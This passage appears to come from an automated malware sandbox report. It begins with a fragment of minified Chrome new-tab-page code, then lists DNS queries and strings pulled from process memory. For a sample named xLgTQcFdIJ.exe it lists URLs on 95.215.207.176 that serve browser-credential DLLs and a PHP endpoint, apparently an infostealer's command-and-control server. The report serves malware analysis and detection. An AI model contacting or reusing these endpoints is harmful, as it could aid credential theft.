url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: perseverclinic.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 906sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/70d63ca8a5be6cc3/freebl3.dll
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/70d63ca8a5be6cc3/mozglue.dll
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/70d63ca8a5be6cc3/mozglue.dllQu
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/70d63ca8a5be6cc3/msvcp140.dll
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/70d63ca8a5be6cc3/msvcp140.dll_u
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/70d63ca8a5be6cc3/nss3.dll
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/70d63ca8a5be6cc3/softokn3.dll
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/70d63ca8a5be6cc3/softokn3.dll)t
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://95.215.207.176/70d63ca8a5be6cc3/sqlite3.dll
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/70d63ca8a5be6cc3/sqlite3.dllmu
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/70d63ca8a5be6cc3/vcruntime140.dll
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/70d63ca8a5be6cc3/vcruntime140.dllP
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.php
Source: xLgTQcFdIJ.exe, 00000000.00000002.2210148752.0000000023530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.php1
Source: xLgTQcFdIJ.exe, 00000000.00000003.1836109164.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.php9
Source: xLgTQcFdIJ.exe, 00000000.00000002.2210148752.0000000023530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.php_
Source: xLgTQcFdIJ.exe, 00000000.00000002.2210148752.0000000023530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.phpg
Source: xLgTQcFdIJ.exe, 00000000.00000003.1836109164.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.phpnl
Source: xLgTQcFdIJ.exe, 00000000.00000002.2210148752.0000000023530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.phpsx
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.phption:
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176=0
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://95.215.207.176d8ddb681db736e16.phption:
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843668137.0000307C00428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1841524029.0000307C0000C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/34980
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1846936269.0000307C0061C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1846936269.0000307C0061C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1846936269.0000307C0061C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843668137.0000307C00428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848270241.0000307C0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848270241.0000307C0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848270241.0000307C0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
